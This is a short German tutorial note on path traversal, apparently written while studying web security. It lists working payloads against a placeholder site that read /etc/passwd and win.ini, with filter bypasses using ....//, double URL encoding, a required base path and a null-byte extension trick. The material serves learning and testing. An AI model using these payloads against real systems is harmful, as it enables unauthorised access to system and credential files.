1. Path Traversal
Was ist Path traversal¶
Auch bekannt als Directory Traversal. Mit der kann man im schlimmsten Fall Zugriff zu Files außerhalb des Webseiten-Bereichs erreichen und sogar das System oder die komplette App verändern.
- Application code and data.
- Credentials for back-end systems.
- Sensitive operating system files.
z. B. eine Seite lädt ein Bild wie folgt.
dann könnte man das wie folgt nutzen
https://insecure-website.com/loadImage?filename=../../../etc/passwd
https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini
Manchmal muss man die Pfade auch etwas anpassen.
z. B.
....//....//....//etc/passwd
etc/passwd
Bypassing Sanatization¶
Encoding
Mit URL Encoding kann man den gewünschten Pfad auch wieder encoden um solche sanitizations zu bypassen
..%252f..%252f..%252fetc/passwd
oder auch als ganzes
%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32fetc/passwd
oder auch komplett inkl. etc/passwd encoden.
Expected Base Pfad
Manchmal kann es auch sein, dass ein Mechanismus verlangt, dass es mit einem bestimmten Base Pfad startet. Das sieht dann wie folgt aus.
z. B.
/var/www/images
dann setzen wir sowas wie.
filename=/var/www/images/../../../etc/passwd
[!note] Tool-Tipp Hackvertor Extension verwenden zum encoden
{ width="700" }
Expected File Extension
Ebenfalls gilt das für Dateiendungen. Es kann z. B. sein, dass nur
.png verwendet werden darf. Dann baut man sowas wie:
filename=../../../etc/passwd%00.png
- %00: bedeutet Nullbyte also \0 und bei vielen Low-Level C API's gilt das als Ende der Zeichenkette.